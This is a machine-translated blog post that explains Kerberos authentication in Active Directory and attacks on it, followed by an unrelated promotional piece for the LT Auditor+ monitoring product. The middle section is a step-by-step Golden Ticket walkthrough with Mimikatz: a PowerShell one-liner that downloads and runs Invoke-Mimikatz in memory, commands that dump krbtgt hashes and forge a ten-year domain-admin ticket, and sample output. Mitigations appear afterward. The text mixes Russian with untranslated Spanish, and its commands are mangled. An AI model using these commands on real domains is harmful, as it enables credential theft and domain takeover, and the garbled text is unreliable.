В связи с этим сначала будет объяснено, как работает Kerberos для предоставления доступа к этим сетевым ресурсам; во-вторых, как самые известные атаки работают на тикетах Kerberos ; в-третьих, как провести атаку «Золотого билета» с помощью Mimikatz; и, наконец, возможные меры противодействия этому типу атак.

Как Kerberos работает в активном каталоге

В активном каталоге аутентификация выполняется с использованием Kerberos. Это протокол, который работает на основе билетов, которые выдаются пользователям, а затем показываются различным сетевым ресурсам для проверки прав доступа.

В протоколе Kerberos есть 3 основных объекта архитектуры:

  • Клиентский компьютер относится к пользователю, который хочет получить доступ к службе.
  • Компьютер , на котором размещена служба , относится к системе, к которой пользователь хочет получить доступ.
  • Центр распространения ключей (KDC) — это центральный сервер, отвечающий за аутентификацию пользователей и распространение билетов с целью их идентификации на машинах, на которых размещены службы. В активных каталогах KDC установлен в контроллере домена (DC).

С другой стороны, есть 2 типа билетов, которые пользователь должен иметь для доступа к службам домена:

  • Сервисные билеты (ST): используются для идентификации в отношении сервисов.
  • Ticket Granting Ticket (TGT): используется для целей аутентификации на сервере Kerberos и для получения ST, необходимого для различных служб.

Найдите на следующем изображении последовательность сообщений, необходимую для выполнения процесса аутентификации пользователя с использованием Kerberos:

Аутентификация с помощью билетов Kerberos

Сообщения Kerberos

Во-первых, как показано на предыдущем изображении, у пользователя должен быть TGT. Для этого пользователь должен пройти аутентификацию в KDC, отправив следующее сообщение.

Сообщение запроса TGT

En dicho mensaje se especifican 3 cosas:

  • El nombre del usuario que se está autenticando
  • El servicio que se encarga de proporcionar el TGT, es decir, el servicio de Kerberos del KDC.
  • Un timestamp cifrado con el hash NTLM obtenido de la contraseña del usuario

Una vez llega este mensaje al KDC este descifra el timestamp con el hash NTLM del usuario y verifica que las credenciales son válidas.Si la petición es correa el servidor devolverá el siguiente mensaje:

Ответное сообщение TGT

Это сообщение состоит из 3 частей:

  • Имя пользователя , имя аутентифицированного пользователя.
  • Сеансовый ключ , который должен использоваться для кодирования следующих сообщений, которыми обмениваются с KDC и времени существования TGT, оба закодированы с помощью хэша NTLM пользователя (тогда пользователь может прочитать эти поля)
  • TGT , закодированный с помощью хеша NTLM учетной записи krbrgt (тогда только KDC может его прочитать), включая сеансовый ключ и время жизни TGT, а также токен, содержащий структуру PAC.Здесь подробно описаны привилегии держателя TGT.

После завершения этого процесса пользователь получает TGT, который может использоваться для запроса ST и, следовательно, доступа к службам домена, связанным с Kerberos.

Чтобы подать заявку на ЗБ, необходимо отправить в KDC следующее сообщение:

Сообщение запроса ST

В это сообщение включены три поля:

  • Запрошенное имя службы
  • Имя пользователя и закодированная временная метка с сеансовым ключом, установленным в TGT.
  • TGT

Когда KDC получает это сообщение, привилегии пользователя, содержащиеся в TGT, аутентифицируются, и ST отправляется в следующем сообщении:

Ответное сообщение ST

Это сообщение состоит из 2 частей:

  • Имя службы , отметка времени и ключ сеанса службы , все они закодированы с помощью указанного ключа сеанса в TGT (затем пользователь может его прочитать)
  • ST , включая следующее: имя пользователя, имя службы, ключ сеанса службы , разрешения пользователя токен копия.Следовательно, служебная машина может подтвердить, что этот конкретный пользователь имеет соответствующие привилегии для доступа к службе, и отметку времени , указывающую момент, когда все было создано. Все это закодировано с помощью NTML учетной записи домена , связанной с хешем службы (тогда только эта служба может ее прочитать)

И если все правильно, у пользователя будет ЗБ, предоставляющий доступ к нужной услуге.

Важно отметить, что TGT и ST находятся в кэше на компьютере, на котором пользователь вошел в систему, и, в частности, в памяти процесса Isass, отвечающей за аутентификацию.Этот процесс также отвечает за хранение другой важной информации, такой как хэши паролей различных аутентифицированных пользователей (LM, NTLM, SHA1…) на машине, а также за очистку паролей. Затем, имея это в виду, любой пользователь, имеющий достаточные разрешения, например локальный администратор компьютера, может извлечь всю эту информацию о процессе для всех тех пользователей, у которых есть учетная запись на компьютере. Для этой цели часто используется инструмент Mimikatz, потому что он рассчитывает на модуль, состоящий в извлечении вышеупомянутых учетных данных.

керберос атак

Teniendo en cuenta el Procedure anteriormente explicado vamos a ver como funcionan los siguientes ataques orientados Kerberos de Directorio activo:

  • Overpass The Hash / Pass The Key
  • Пройти билет
  • Золотой билет и Серебряный билет
  • Kerberoasting
Overpass The Hash / Pass The Key (PTK)

Обход хеш-кода / передачи ключа (PTK)

Общее определение атаки Pass the Hash (PTH) относится к атаке, в которой используется хеш-код пользователя для подделки его личности.В поле заявки Kerberos это называется Overpass The Hass или Pass The Key.

Наблюдая за любым процессом получения TGT, можно было увидеть, что если злоумышленник найдет хэш пользователя, может быть создано действительное сообщение запроса TGT, и это сообщение может быть использовано для доступа к любому из ресурсов домена, к которым этот пользователь, в частности, имеет доступ не зная пароля.

Pass The Ticket (PTT)

Pass Билет состоит из получения билета пользователя и его использования для получения доступа к тем ресурсам, которые пользователь имеет соответствующие разрешения.

Как правило, это выполняется для получения пользовательского TGT, поэтому, если злоумышленник получает ST, эта атака не может работать должным образом, поскольку существуют определенные меры защиты.

Когда ST отправляется машине, предоставляющей услугу, этот сравнивает временные метки, включенные в ST (момент создания билета), с моментом, когда билет был отправлен, и он сразу отклоняется, если есть разница более чем 2 минуты. Кроме того, первый билет, отправленный на служебную машину (большую часть времени он относится к легитимному пользователю), кэшируется в памяти, а следующие билеты отклоняются.

Тогда очень часто бывает, что TGT без этой защиты, хотя следует учитывать, что у этого есть максимальное время жизни (обычно 10 часов), по истечении которого срок действия билета может истечь. Кроме того, TGT не только ограничивается одной услугой, но также может использоваться для подачи заявки на любую услугу, к которой владелец может получить доступ.

Kerberoasting

Kerberoasting пытается использовать ST для взлома паролей автономных пользователей.

Как можно было видеть ранее, ST кодируются с помощью хэша NTLM учетной записи домена, связанного с услугой.Следовательно, если пользователь запрашивает служебный ST, связанный с пользователем, после получения ST его можно использовать на другой машине и взломать пароль пользователя, который обычно имеет много привилегий в домене или, по крайней мере, на машине, на которой служба запущена.

Первая часть может относиться к учетным записям компьютеров, связанным со службами, и даже к учетной записи krbtgt, если извлекается TGT. Однако пароли этих учетных записей генерируются автоматически, и эти пароли слишком сложны, чтобы их можно было взломать.

Золотой билет и Серебряный билет

Основная цель атаки Golden Ticket — создание TGT. Для этого необходим хэш аккаунта krbtgt, так как он используется для кодирования билета. Как только этот хеш будет получен, можно создать TGT с любой желаемой датой истечения срока действия и, что наиболее важно, с любыми необходимыми разрешениями, содержащими даже права администратора домена.

Также необходимо учитывать, что срок действия TGT зависит от двух аспектов: заданной даты истечения срока действия и хэша NTLM, используемого для кодирования (относится к паролю учетной записи krbtgt).Следовательно, либо время жизни не истекает, либо пароль учетной записи krbtgt изменен. Билет будет действителен независимо от того, истечет ли срок действия поддельного пароля пользователя.

Концепция

Silver Ticket аналогична. Однако на этот раз созданный билет является ST и, следовательно, требуется NTLM-хэш учетной записи домена, связанный со службой, к которой вы хотите получить доступ.

Атака Золотого билета

В следующем разделе будет объяснено, как можно создать Золотой билет с помощью инструмента Mimikatz.

Прежде всего, вам нужно найти хэши учетных записей krbtgt, которые хранятся в файле NTDS.DIT ​​контроллеров домена:

Для этого Mimikatz должен выполняться на контроллере домена. Я лично предпочитаю сценарий PowerShell Invoke-Mimikatz из репозитория Empire, который позволяет запускать Mimikatz непосредственно в памяти.

Если мы запустим следующую инструкцию в PowerShell, мы сможем загрузить код утилиты и загрузить его прямо в память:

 PS C: \ WINDOWS \ system32> IEX ([System.Text.Encoding] :: UTF8.GetString ((New-Object system.net.WebClient) .DownloadData ("https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/credentials/Invoke-Mimikatz. пс1 "))) 

После загрузки и загрузки Mimikatz запускается для извлечения хэшей учетных записей krbtgt (для этого необходимо иметь права администратора в контроллере домена):

 PS C: \ WINDOWS \ system32> Invoke-Mimikatz -Command '"lsadump :: lsa / inject / name: krbtgt"'
Имя хоста: WIN-9LJHAUJKGh4.##. "A La Vie, A L'Amour"
 ## / \ ## / * * *
 ## \ / ## Benjamin DELPY `gentilkiwi` ([защищенный адрес электронной почты])
 '## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)
  '#####' с 20 модулями * * * /

mimikatz (powershell) # lsadump :: lsa / inject / имя: krbtgt
Домен: TEST / S-1-5-21-1126339692-2329256024-24878

RID: 000001f6 (502)
Пользователь: krbtgt

 * Начальный
    LM:
    NTLM: 78ec7d4703bd93bfc6f315e8be2a0505

 * WDigest
    01 a29ea599962f7a22c82f994e1c9cbd23
    02 f9d478222fd20ef62008d33

5452 03 78183dc53572b1d1cf8d9ec3334f1af9 04 a29ea599962f7a22c82f994e1c9cbd23 05 f9d478222fd20ef62008d33

5452 06 768f0d27d7f1a401128fa4d9dfe0fe05 07 a29ea599962f7a22c82f994e1c9cbd23 08 cbfe851527c1ee2a94ce718de92d48de 09 cbfe851527c1ee2a94ce718de92d48de 10 cab3cee0de82aaaf89dde189a4b65a7c 11 3304c3951f18774e3042171dcf83d81f 12 cbfe851527c1ee2a94ce718de92d48de 13 9ecfb92a334e791a2dd0b84a1e2673bb 14 3304c3951f18774e3042171dcf83d81f 15 30d13cafdad8bf820491d908a97bda68 16 30d13cafdad8bf820491d908a97bda68 17 107e3aa8e86408187c697cd3d9bbe74a 18 cad84ce23627af0a56aaaefa324ac1f4 19 fccd8b52fdd36177c39a3d22357b2d26 20 884c3427f704916b23c7daede8d3d98a 21 101fc8a7b2c38f0f71fe3781c1a23b71 22 101fc8a7b2c38f0f71fe3781c1a23b71 23 58130a56370f77dfaaf7851004a8972a 24 99fb09a2eb1647739a689058c66b774f 25 99fb09a2eb1647739a689058c66b774f 26 b87ff24e8ab8d40e08f9f924f65 27 51af7632f142ccfa43143fea62885479 28 845c45eaf7c2c151a5b5bbe87f6b81dc 29 de8bbff44216f36f23ada8df8195815e * Kerberos Соль по умолчанию: ТЕСТ.ВИРТУАЛЬНЫЙ Реквизиты для входа des_cbc_md5: cbc1d9c819b91f6e * Новые ключи Kerberos Соль по умолчанию: TEST.VIRTUALkrbtgt Итерации по умолчанию: 4096 Реквизиты для входа aes256_hmac (4096): 374389044ea10da3184e9c5e68fd4c06f9d82321c1d511f8bf45b39806e08b10 aes128_hmac (4096): 9fb68e4e1608b61f4a46d476935da269 des_cbc_md5 (4096): cbc1d9c819b91f6e

После получения хэшей можно создать TGT или Golden Ticket для подделки Администратора домена в течение 10 лет (или любого другого указанного периода):

 PS C: \ WINDOWS \ system32> Invoke-Mimikatz -Command '"kerberos :: golden / domain: test.##. "A La Vie, A L'Amour"
 ## / \ ## / * * *
 ## \ / ## Benjamin DELPY `gentilkiwi` ([защищенный адрес электронной почты])
 '## v ##' https://blog.gentilkiwi.com/mimikatz (oe.eo)
  '#####' с 20 модулями * * * /

mimikatz (powershell) # kerberos :: golden /domain:test.virtual / sid: S-1-5-21-1126339692-2329256024-24878 / rc4: 78ec7d
4703bd93bfc6f315e8be2a0505 / пользователь: Administrador / id: 500 / groups: 500,501,513,512,520,518,519 / билет: gold.Кирби
Пользователь: Администратор
Домен: test.virtual (ТЕСТ)
SID: S-1-5-21-1126339692-2329256024-24878
Идентификатор пользователя: 500
Идентификатор группы: * 500 501 513 512 520 518 519
ServiceKey: 78ec7d4703bd93bfc6f315e8be2a0505 - rc4_hmac_nt
Время жизни: 23.12.2016 11:09:01; 21.12.2026 11:09:01; 21.12.2026 11:09:01
-> Билет: gold.kirbi

 * PAC сгенерирован
 * PAC подписан
 * EncTicketPart сгенерирован
 * EncTicketPart зашифрован
 * Создано KrbCred

Финальный билет сохранен в файл!
 

Теперь мы можем сохранить файл «gold.kirbi »с Золотым Билетом, имеющим срок службы 10 лет и готовым к использованию в любое время. В случае, если вы хотите ввести билет, вы должны запустить следующее:

 PS C: \ WINDOWS \ system32> Invoke-Mimikatz -Command '"kerberos :: ptt gold.kirbi"'
* Файл: 'gold.kirbi': ОК
 

В целом, вы будете иметь права администратора во всем домене в течение 10 лет, даже если администратор изменит пароль.

Смягчения

Golden Ticket Mitigation

Чтобы избежать использования «Золотых билетов» с длительным сроком действия, мы рекомендуем регулярно сбрасывать пароль учетной записи krbtgt на всех контроллерах домена, поэтому можно использовать следующий сценарий: https: // gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51

Пароль необходимо сбросить дважды для удобства использования. Тогда те билеты, использующие хэш NTLM пароля krbtgt в качестве ключа шифрования, предшествующий текущему, будут считаться действительными. Однако следует учитывать, что изменить пароль в учетной записи krbtgt можно только в том случае, если функциональный уровень домена такой же или выше, чем у Windows Server 2008.

Общие меры защиты

Типы атак

, описанные ранее, используют недостатки, присущие протоколу Kerberos.Поэтому не существует простого способа их предотвратить. Тем не менее, Microsoft предоставляет общедоступное руководство, объясняющее, как смягчить этот вид атак: https://www.microsoft.com/en-us/download/details.aspx?id=36036

Список литературы

[1] Атаки Mimikatz и Active Directory Kerberos -> https://adsecurity.org/?p=556[2] Объясните, как будто я 5: Kerberos -> https://www.roguelynn.com/words/explain- like-im-5-kerberos / [3] Освоение сетевой криминалистики и расследования в Windows, 2-е издание.Авторес: С. Ансон, С. Бантинг, Р. Джонсон и С. Пирсон. Редакция Sibex. [4] Active Directory, 5-е издание. Авторес: Б. Десмонд, Дж. Ричардс, Р. Аллен и А. Г. Лоу-Норрис [5] Проверка PAC -> https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20 -minute-rule-and.html [6] Имена участников службы -> https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx[7] Niveles funcionales de Directorio activo -> https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0[8] OverPass The Hash — Блог Gentilkiwi-> https: // blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash[9] Pass The Ticket — Blog Gentilkiwi -> https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos[10] Золотой билет — Блог Gentilkiwi -> https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos[11] Kerberos и KRBTGT -> https://adsecurity.org/?p=483[12] Золотой билет Mimikatz Пошаговое руководство -> https://www.beneaththewaves.net/Projects/Mimikatz_20_-_Golden_Ticket_Walkthrough.html#Basics[13] Атака Kerberos: пинать сторожевого пса Аида -> https: // files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf[14] Kerberoasting — Часть 1 -> https://room362.com/post/2016/kerberoast-pt1/[15] Kerberoasting — Часть 2 -> https://room362.com/post/2016/kerberoast-pt2/[16] Сбросьте krbtgt пароль / ключи учетной записи -> https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51[17] Защита от атак Pass-the-Hash (PtH) и других краж учетных данных -> https: // www.microsoft.com/en-us/download/details.aspx?id=36036[18] Mimikatz -> https://github.com/gentilkiwi/mimikatz[19] Блог Mimikatz Gentilkiwi -> https: //blog.gentilkiwi. com / mimikatz [20] Mimikatz Credenciales -> https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa[21] Билеты Mimikatz -> https://github.com/gentilkiwi/mimikatz/wiki/ module- ~ -kerberos [22] Empire -> https://github.com/adaptivethreat/Empire[23] Invoke-Mimikatz -> https://raw.githubusercontent.com/adaptivethreat/Empire/master/data/module_source/ учетные данные / Invoke-Mimikatz.ps1

Мониторинг аутентификации Windows / AD и активности входа в систему

Операционные системы

Microsoft Windows используют различные технологии аутентификации, которые позволяют пользователям получать доступ к ресурсам в сети. Эти протоколы аутентификации включают Kerberos, NT LAN Manager (NTLM), Negotiate, Schannel (безопасный канал) и Digest, которые являются частью архитектуры безопасности Windows.

LT Auditor + 2013 может полностью контролировать все действия, связанные с аутентификацией Kerberos и NTLM.

Kerberos

Протокол проверки подлинности Kerberos является протоколом проверки подлинности по умолчанию для проверки подлинности Active Directory (AD). Kerberos включает в себя Центр распространения ключей (KDC), пользователя-клиента и сервер. KDC устанавливается на контроллере домена Windows AD и аутентифицирует пользователя с помощью службы аутентификации (AS) и службы выдачи билетов (TGS). Для любого доступа пользователей к ресурсам в сети потребуется действительный маркер безопасности или билет, предоставленный KDC.Следующий отчет представляет собой запись активности аутентификации Kerberos, записанную в LT Auditor + 2013.

NTLM

Протокол

NTLM использует методологию запроса-ответа, в которой клиент отправляет имя пользователя на сервер Windows. Сервер генерирует и отправляет клиенту запрос, который клиент шифрует с помощью пароля пользователя. Это зашифрованное сообщение отправляется в ответ на сервер. Для учетных записей локальных пользователей сервер проверяет ответ пользователя, просматривая диспетчер учетных записей безопасности (SAM).Для учетных записей домена сервер пересылает ответ контроллеру домена для проверки на основе групповой политики, настроенной для учетных записей пользователей. Следующий отчет представляет собой запись активности аутентификации NTLM, записанную в LT Auditor + 2013.

Windows разрешает несколько типов входа в систему, используемых для разных целей, а LT Auditor + 2013 может отслеживать и контролировать каждый тип активности входа в Windows, как описано ниже.

Интерактивный вход

Интерактивный вход в систему происходит в следующих случаях:

  • Пользователь входит непосредственно в консоль.
  • Вход в систему удаленно через службы терминалов.

Существуют различные типы интерактивного входа в систему:

  1. Локальный вход. Локальный вход в систему происходит, когда пользователь входит в локальную систему SAM. При локальном входе пользователь будет иметь доступ только к ресурсу на локальном компьютере.
  2. Вход в домен. В этом сценарии пользователь предоставляет учетные данные домена для входа в домен. Windows будет использовать один из описанных выше протоколов для аутентификации в домене.
  3. Вход со смарт-картой. Здесь пользователь вставляет смарт-карту в считывающее устройство для аутентификации в домене или на локальном компьютере, что позволяет выполнять многофакторную аутентификацию.

LT Auditor + может проверять и отслеживать все действия интерактивного входа в систему, как показано в отчете ниже:

Вход в сеть

После аутентификации пользователя в сети при доступе к общим папкам, принтерам и другим ресурсам будет произведен вход в сеть. Эта информация полезна для отслеживания того, к каким серверам подключился пользователь после аутентификации в домене.Активность входа в сеть происходит постоянно, и этот тип активности создает объемные журналы.

Пакетный вход

Учетные данные, используемые для запланированных задач в Windows, генерируют событие пакетного входа в систему.

Сервисный вход

Учетные данные, используемые для служб в Windows, генерируют событие входа в систему.

Разблокировать вход

Это событие происходит, когда пользователь возвращается к консоли и разблокирует экран, защищенный паролем. Это полезное событие для отслеживания на рабочих станциях.

Новые полномочия

Учетные данные, используемые с командой «Запуск от имени» для запуска программы, будут генерировать это событие.

Кэшированный интерактивный

Windows по умолчанию кэширует хэши последних 10 интерактивных доменов. Когда клиент не подключен к сети или когда нет доступного контроллера домена, Windows будет использовать эти хэши для проверки подлинности входа в систему с учетной записью домена, создавая кэшированное событие входа в систему.

Remote Interactive

При использовании утилиты Windows RDP для подключения к машине создается событие удаленного интерактивного входа в систему.

LT Auditor + 2013 может фиксировать все эти события, как показано в прилагаемых отчетах.

Пользователи

могут использовать детализированные фильтры для сбора данных любого из этих типов входов в систему и создания отчетов о них.

Investigative LT Auditor + шаблоны отчетов о входе

  1. Отчет о входе в систему в нерабочее время
  2. Отчет по временной карте
  3. Сводный отчет о неудачном входе в систему
  4. Подробный отчет о неудачном входе в систему

О компании LT Auditor +

LT Auditor + — это набор приложений, обеспечивающих мониторинг и аудит изменений Windows Active Directory и серверов Windows в реальном времени.Приложение выполняет аудит-отслеживает отчеты по Windows Active Directory, входу / выходу на рабочих станциях Windows, файловым серверам Windows и рядовым серверам, чтобы помочь удовлетворить требования или требования безопасности, аудита и соответствия. Отслеживайте авторизованный / несанкционированный доступ пользователей к изменениям входа / выхода, групповой политики, групп, компьютеров, подразделений и DNS-сервера с помощью более 300 подробных отчетов по конкретным событиям и предупреждений по электронной почте в реальном времени.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *